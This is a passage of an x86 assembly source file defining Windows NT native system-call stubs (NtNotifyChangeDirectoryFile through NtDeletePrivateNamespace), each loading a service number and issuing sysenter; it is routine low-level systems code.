NtNotifyChangeDirectoryFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 252
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeDirectoryFile ENDP
; ULONG __stdcall NtNotifyChangeDirectoryFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtNotifyChangeDirectoryFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 253
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeDirectoryFileEx ENDP
; ULONG __stdcall NtManagePartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtManagePartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 254
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtManagePartition ENDP
; ULONG __stdcall NtModifyDriverEntry( ULONG arg_01 );
NtModifyDriverEntry PROC STDCALL arg_01:DWORD
mov eax , 255
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtModifyDriverEntry ENDP
; ULONG __stdcall NtModifyBootEntry( ULONG arg_01 );
NtModifyBootEntry PROC STDCALL arg_01:DWORD
mov eax , 256
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtModifyBootEntry ENDP
; ULONG __stdcall NtMapViewOfSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtMapViewOfSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 257
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapViewOfSection ENDP
; ULONG __stdcall NtMapUserPhysicalPagesScatter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtMapUserPhysicalPagesScatter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 258
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapUserPhysicalPagesScatter ENDP
; ULONG __stdcall NtMapUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtMapUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 259
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapUserPhysicalPages ENDP
; ULONG __stdcall NtMapCMFModule( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtMapCMFModule PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 260
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapCMFModule ENDP
; ULONG __stdcall NtMakeTemporaryObject( ULONG arg_01 );
NtMakeTemporaryObject PROC STDCALL arg_01:DWORD
mov eax , 261
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMakeTemporaryObject ENDP
; ULONG __stdcall NtMakePermanentObject( ULONG arg_01 );
NtMakePermanentObject PROC STDCALL arg_01:DWORD
mov eax , 262
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMakePermanentObject ENDP
; ULONG __stdcall NtLockVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtLockVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 263
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockVirtualMemory ENDP
; ULONG __stdcall NtLockRegistryKey( ULONG arg_01 );
NtLockRegistryKey PROC STDCALL arg_01:DWORD
mov eax , 264
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockRegistryKey ENDP
; ULONG __stdcall NtLockProductActivationKeys( ULONG arg_01 , ULONG arg_02 );
NtLockProductActivationKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 265
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockProductActivationKeys ENDP
; ULONG __stdcall NtLockFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtLockFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 266
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockFile ENDP
; ULONG __stdcall NtLoadKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtLoadKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 267
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadKeyEx ENDP
; ULONG __stdcall NtLoadKey2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtLoadKey2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 268
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadKey2 ENDP
; ULONG __stdcall NtLoadKey( ULONG arg_01 , ULONG arg_02 );
NtLoadKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 269
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadKey ENDP
; ULONG __stdcall NtLoadHotPatch( ULONG arg_01 , ULONG arg_02 );
NtLoadHotPatch PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 270
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadHotPatch ENDP
; ULONG __stdcall NtLoadEnclaveData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtLoadEnclaveData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 271
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadEnclaveData ENDP
; ULONG __stdcall NtLoadDriver( ULONG arg_01 );
NtLoadDriver PROC STDCALL arg_01:DWORD
mov eax , 272
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadDriver ENDP
; ULONG __stdcall NtListenPort( ULONG arg_01 , ULONG arg_02 );
NtListenPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 273
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtListenPort ENDP
; ULONG __stdcall NtIsUILanguageComitted( );
NtIsUILanguageComitted PROC STDCALL
mov eax , 274
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtIsUILanguageComitted ENDP
; ULONG __stdcall NtIsSystemResumeAutomatic( );
NtIsSystemResumeAutomatic PROC STDCALL
mov eax , 275
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtIsSystemResumeAutomatic ENDP
; ULONG __stdcall NtIsProcessInJob( ULONG arg_01 , ULONG arg_02 );
NtIsProcessInJob PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 276
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtIsProcessInJob ENDP
; ULONG __stdcall NtInitiatePowerAction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtInitiatePowerAction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 277
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitiatePowerAction ENDP
; ULONG __stdcall NtInitializeRegistry( ULONG arg_01 );
NtInitializeRegistry PROC STDCALL arg_01:DWORD
mov eax , 278
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitializeRegistry ENDP
; ULONG __stdcall NtInitializeNlsFiles( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtInitializeNlsFiles PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 279
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitializeNlsFiles ENDP
; ULONG __stdcall NtInitializeEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtInitializeEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 280
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitializeEnclave ENDP
; ULONG __stdcall NtImpersonateThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtImpersonateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 281
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtImpersonateThread ENDP
; ULONG __stdcall NtImpersonateClientOfPort( ULONG arg_01 , ULONG arg_02 );
NtImpersonateClientOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 282
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtImpersonateClientOfPort ENDP
; ULONG __stdcall NtImpersonateAnonymousToken( ULONG arg_01 );
NtImpersonateAnonymousToken PROC STDCALL arg_01:DWORD
mov eax , 283
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtImpersonateAnonymousToken ENDP
; ULONG __stdcall NtGetWriteWatch( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtGetWriteWatch PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 284
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetWriteWatch ENDP
; ULONG __stdcall NtGetNotificationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtGetNotificationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 285
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNotificationResourceManager ENDP
; ULONG __stdcall NtGetNlsSectionPtr( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtGetNlsSectionPtr PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 286
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNlsSectionPtr ENDP
; ULONG __stdcall NtGetNextThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtGetNextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 287
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNextThread ENDP
; ULONG __stdcall NtGetNextProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtGetNextProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 288
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetNextProcess ENDP
; ULONG __stdcall NtGetMUIRegistryInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtGetMUIRegistryInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 289
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetMUIRegistryInfo ENDP
; ULONG __stdcall NtGetDevicePowerState( ULONG arg_01 , ULONG arg_02 );
NtGetDevicePowerState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 290
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetDevicePowerState ENDP
; ULONG __stdcall NtGetCurrentProcessorNumberEx( ULONG arg_01 );
NtGetCurrentProcessorNumberEx PROC STDCALL arg_01:DWORD
mov eax , 291
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCurrentProcessorNumberEx ENDP
; ULONG __stdcall NtGetCurrentProcessorNumber( );
NtGetCurrentProcessorNumber PROC STDCALL
mov eax , 292
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCurrentProcessorNumber ENDP
; ULONG __stdcall NtGetContextThread( ULONG arg_01 , ULONG arg_02 );
NtGetContextThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 293
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetContextThread ENDP
; ULONG __stdcall NtGetCompleteWnfStateSubscription( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtGetCompleteWnfStateSubscription PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 294
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCompleteWnfStateSubscription ENDP
; ULONG __stdcall NtGetCachedSigningLevel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtGetCachedSigningLevel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 295
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtGetCachedSigningLevel ENDP
; ULONG __stdcall NtFsControlFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtFsControlFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 296
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFsControlFile ENDP
; ULONG __stdcall NtFreezeTransactions( ULONG arg_01 , ULONG arg_02 );
NtFreezeTransactions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 297
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreezeTransactions ENDP
; ULONG __stdcall NtFreezeRegistry( ULONG arg_01 );
NtFreezeRegistry PROC STDCALL arg_01:DWORD
mov eax , 298
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreezeRegistry ENDP
; ULONG __stdcall NtFreeVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtFreeVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 299
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreeVirtualMemory ENDP
; ULONG __stdcall NtFreeUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtFreeUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 300
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFreeUserPhysicalPages ENDP
; ULONG __stdcall NtFlushWriteBuffer( );
NtFlushWriteBuffer PROC STDCALL
mov eax , 301
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushWriteBuffer ENDP
; ULONG __stdcall NtFlushVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtFlushVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 302
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushVirtualMemory ENDP
; ULONG __stdcall NtFlushProcessWriteBuffers( );
NtFlushProcessWriteBuffers PROC STDCALL
mov eax , 303
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushProcessWriteBuffers ENDP
; ULONG __stdcall NtFlushKey( ULONG arg_01 );
NtFlushKey PROC STDCALL arg_01:DWORD
mov eax , 304
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushKey ENDP
; ULONG __stdcall NtFlushInstructionCache( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtFlushInstructionCache PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 305
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushInstructionCache ENDP
; ULONG __stdcall NtFlushInstallUILanguage( ULONG arg_01 , ULONG arg_02 );
NtFlushInstallUILanguage PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 306
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushInstallUILanguage ENDP
; ULONG __stdcall NtFlushBuffersFile( ULONG arg_01 , ULONG arg_02 );
NtFlushBuffersFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 307
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushBuffersFile ENDP
; ULONG __stdcall NtFlushBuffersFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtFlushBuffersFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 308
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFlushBuffersFileEx ENDP
; ULONG __stdcall NtFindAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtFindAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 309
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFindAtom ENDP
; ULONG __stdcall NtFilterToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtFilterToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 310
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFilterToken ENDP
; ULONG __stdcall NtFilterTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 );
NtFilterTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD
mov eax , 311
call _label_sysenter
ret 56
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFilterTokenEx ENDP
; ULONG __stdcall NtFilterBootOption( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtFilterBootOption PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 312
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtFilterBootOption ENDP
; ULONG __stdcall NtExtendSection( ULONG arg_01 , ULONG arg_02 );
NtExtendSection PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 313
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtExtendSection ENDP
; ULONG __stdcall NtEnumerateValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtEnumerateValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 314
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateValueKey ENDP
; ULONG __stdcall NtEnumerateTransactionObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtEnumerateTransactionObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 315
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateTransactionObject ENDP
; ULONG __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtEnumerateSystemEnvironmentValuesEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 316
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateSystemEnvironmentValuesEx ENDP
; ULONG __stdcall NtEnumerateKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtEnumerateKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 317
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateKey ENDP
; ULONG __stdcall NtEnumerateDriverEntries( ULONG arg_01 , ULONG arg_02 );
NtEnumerateDriverEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 318
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateDriverEntries ENDP
; ULONG __stdcall NtEnumerateBootEntries( ULONG arg_01 , ULONG arg_02 );
NtEnumerateBootEntries PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 319
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnumerateBootEntries ENDP
; ULONG __stdcall NtEnableLastKnownGood( );
NtEnableLastKnownGood PROC STDCALL
mov eax , 320
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtEnableLastKnownGood ENDP
; ULONG __stdcall NtDuplicateToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtDuplicateToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 321
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDuplicateToken ENDP
; ULONG __stdcall NtDuplicateObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtDuplicateObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 322
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDuplicateObject ENDP
; ULONG __stdcall NtDrawText( ULONG arg_01 );
NtDrawText PROC STDCALL arg_01:DWORD
mov eax , 323
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDrawText ENDP
; ULONG __stdcall NtDisplayString( ULONG arg_01 );
NtDisplayString PROC STDCALL arg_01:DWORD
mov eax , 324
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDisplayString ENDP
; ULONG __stdcall NtDisableLastKnownGood( );
NtDisableLastKnownGood PROC STDCALL
mov eax , 325
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDisableLastKnownGood ENDP
; ULONG __stdcall NtDeviceIoControlFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtDeviceIoControlFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 326
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeviceIoControlFile ENDP
; ULONG __stdcall NtDeleteWnfStateName( ULONG arg_01 );
NtDeleteWnfStateName PROC STDCALL arg_01:DWORD
mov eax , 327
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteWnfStateName ENDP
; ULONG __stdcall NtDeleteWnfStateData( ULONG arg_01 , ULONG arg_02 );
NtDeleteWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 328
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteWnfStateData ENDP
; ULONG __stdcall NtDeleteValueKey( ULONG arg_01 , ULONG arg_02 );
NtDeleteValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 329
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeleteValueKey ENDP
; ULONG __stdcall NtDeletePrivateNamespace( ULONG arg_01 );
NtDeletePrivateNamespace PROC STDCALL arg_01:DWORD
mov eax , 330
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtDeletePrivateNamespace ENDP
; ULONG __stdcall NtDeleteObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
